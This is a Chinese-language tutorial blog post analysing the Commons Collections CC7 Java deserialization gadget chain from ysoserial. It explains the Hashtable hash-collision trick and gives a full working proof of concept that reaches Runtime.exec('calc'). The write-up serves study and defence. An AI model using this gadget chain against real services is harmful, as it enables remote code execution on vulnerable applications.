前言

CC7 是 ysoserial 中内置的最后一条 Commons Collections 组件的 Gadget 链了,也比较有意思。

前置

Gadget

/*
Payload method chain:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/

Hashtable

这个类和 HashMap 类几乎一样

image.png

image.png

HashTable是遗留类,很多映射的常用功能与HashMap类似,不同的是它承自Dictionary类,并且是线程安全的,并发性不如ConcurrentHashMap,因为ConcurrentHashMap引入了分段锁。

Hashtable 不建议在新代码中使用 ,不需要线程安全的场合可以用HashMap替换,需要线程安全的场合可以用ConcurrentHashMap替换。

在我们的反序列化中也更像是一个 HashMap 的替代,不过这里的利用链实际上是全新的,而且这种跟 Hash 挂钩的东西个人感觉还是比较难理解的。(希望这次可以一起解决 CC1 的历史遗留问题)

分析

方法栈如下

image.png

我们先来进行一遍调用链大体的分析,后续再结合 POC 的编写对调用链中的一些细节进行详细的刨析

image.png

我们的入口点位于 Hashtable,我们通过调用 Hashtable 的 reconstitutionPut 方法进而调用到 AbstractMapDecorator 的 equals 方法,进而调用 AbstractMap 的 euqals 方法,进而来到我们常见到的 LazyMap 的 get 方法。

image.png

image.png

image.png

后面的内容就没有什么必要多加赘述了,通过 LazyMap 的 get 方法调用 transform 数组就是了

image.png

为什么要 lazyMap2.remove("yy");

实际上这一个问题就可以带着我们把整个攻击链理解得透彻。

通过 POC 我们可以发现,我们创建了两个 LazyMap,分别 put 进了 “yy” 和 “zZ” 两个字符串,put 进 Hashtable 之后又 remove 了 yy,这里问题挺大的,我们来解决一下

       Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

LazyMap.decorate 然后 put 这种操作感觉起来和 CC1 是很像的,但是我这里一时间却理解不过来,一个是因为时间过去太久了,再一个就是 CC1 是刚开始学习接触到的第一条链子,还涉及到了代理、反射的学习等等,很多东西都不清不楚的,同一时间灌输进来的东西太多了导致了有点懵。这里重新学习一下。

image.png

LazyMap 中存在 decorate 方法,它可以返回一个 LazyMap 的实例,参数为传入的参数。

decorate 这个单词大概的意思是修饰,很生动形象的一个名字,我们一开始实例化了 HashMap,而我们真正想要的实际上是 LazyMap,但是 LazyMap 本身的构造方法在 Commons Collections 中是私有的, LazyMap 为我们提供的获取它的实例的方法就是 decorate 方法。关于 Java 构造方法私有化的作用感兴趣可以百度一下,还挺好玩的。

在我们拿到了 LazyMap 的对象之后我们调用了它的 put 方法,Map 的实现都会有 put 方法,Map 作为一种 key-value 的数据结构,put 的两个参数分别代表了 key 和 value,我们这里向两个 LazyMap 中分别 put 了一组数据

"yy" => 1
"zZ" => 1

这里就涉及到我们对 Hashtable 的进一步分析了,我们看到这里的 put 方法和 reconstitutionPut 方法,下面的分析同时可以适用于 put 方法(生成 payload 的过程)和 reconstitutionPut 方法(攻击的过程)

image.png

image.png

在这两个方法中有很多类似的部分,比如都包含了下面的代码,其他方面也类似

int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
···
if ((entry.hash == hash) && entry.key.equals(key)) {

其中的逻辑是关键,key 很简单就是我们传入的 LazyMap,但是 reconstitutionPut 这里的 for 循环我们想要进入是需要有一定条件的

image.png

看到这里的 for 循环

for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {

Entry<?,?> e = tab[index] 是初值,如果 e != null 我们才能进入我们的 if,这里的 tab 是一个 private transient 修饰的关键字 index 也是根据它计算出来的 hash

image.png

image.png

可以看到,在第一次运行的时候,程序并没有进入 for 循环内,因为此时 tab[index] 还是空的,我们需要对它进行进一步的赋值

image.png

image.png

这也就是我们两次创建 LazyMap 的原因,我们必须要保证两个以上的元素才能够进入 for 循环内,所以我们最后能够走到 e.key.equals(key) 的只有我们的第二个 LazyMap。我们接着进行后续其他问题的分析。

在我们 构造 Payload 的时候,当 lazyMap2 被 put 后,entry.key.equals(key)entry.key 正是被拿来赋值的 lazyMap1,在 AbstractMap 中有一个参数 i,根据继承关系,这里正是我们传入的 lazyMap1 的键值对 "yy" => 1,所以这里 getKey 取到的 keyyy

image.png

而 m 正是 equals 的参数,是我们第二次传入的 lazyMap2

image.png

最终,我们可以在进入 LazyMap 的 get 的这个位置看到这样一个现象

image.png

也就是 lazyMap2.get("yy"),然后进入到 lazyMap2 的 get 方法之中(这里用的是 reconstitutionPut 的图,但是之类和 put 实际上是类似的,所以不妨碍分析

我们这里传入的还是 fakeTransformer,我们的 transformer 要到 put 执行完毕后才会被替换为真正的 transformer 数组,这里我们传入的 Transformer[] fakeTransformer = new Transformer[]{}; 会原封不动的返回我们传入的数据

同时此时的 lazyMap2 本身只有 “zZ” => 1 这一个元素,所以成功执行 tansform

image.png

这里我们传入了一个 yy 会再返回给我们一个 yy,所以此时我们的 lazyMap2 中会被设置上一个 "yy" => "yy" 键值对,所以我们还需要将这里的 "yy" => "yy" 键值对移除,也就是 lazyMap2.remove("yy");

hash 冲突

但是这个理由实际上并没有说服我,就像上面被打上删除线的那一句话一样,因为这其中存在着逻辑关系,而导致这种逻辑关系的原因我并没有找到,所幸 4ra1n 师傅 接下来就给我解惑了。

这里还是对代码的审计不够到位,对 CommonsCollections 利用链的理解也不够到位。

在看 Wh1t3pig 师傅的文章 的时候,师傅用一句话对 CC7 利用链进行了总结

CommonsCollections7利用的是key的hash冲突的方法来触发equals函数,该函数会调用LazyMap.get函数

这里的点实际上就是 hash 冲突这个点,这也是这条利用链和前面几条利用链不一样的地方,我们这里所利用的东西并不能简单的从调用上看出来。

在语言的基础中我们学习过,&& 只有在前后都为真的时候才为真,也就是说,如果前面的表达式为假,那后面的表达式就不能得到执行了。而在这里,我们的 e.key.equals(key) 正是跟在 && 后面的,而它的前面则是 (e.hash == hash)

我们从前面的分析中可以知道,这里的 e 实际上就是 lazyMap1,它在第一轮赋值的时候赋给了 tab[index],所以这个时候,我们就需要进行 lazyMap1 和 lazyMap2 的 hashCode 上的比较。具体的 hashCode 的源码我们不在这里细跟了,大体上就是如果 lazymap1 和 lazymap2 包含相同数量的元素,并且每个元素的keyvalue都完全一致,那么计算得出的 hashcode 就会相等。

这里的 “yy” 和 “zZ” 的问题实际上这里我在之前学习 Y4tacker 师傅对 D^3CTF 中 shorter 题目的解法的时候就有学习过了,重点就是下面这里关于 String.hashCode 的部分。

如果要使两个key相等,考虑两个元素的情况下也就是 31*val[0]+val[1]=31*val[0]+val[1] 了,第一个元素如果比第二个元素小1,第二个元素就必须比第一个元素大31

image.png

换到字母里话会比较好记,就是 aa = bByy =zZ 这种规律。

回到我们的上一级问题,也就是说,如果我们不移除这里的 yy 的话,我们的 hash 就不会再相等了,进而也就不能进入 e.key.equals(key)

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7POC {
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformer = new Transformer[]{};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");

Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);

lazyMap2.remove("yy");

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.flush();
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}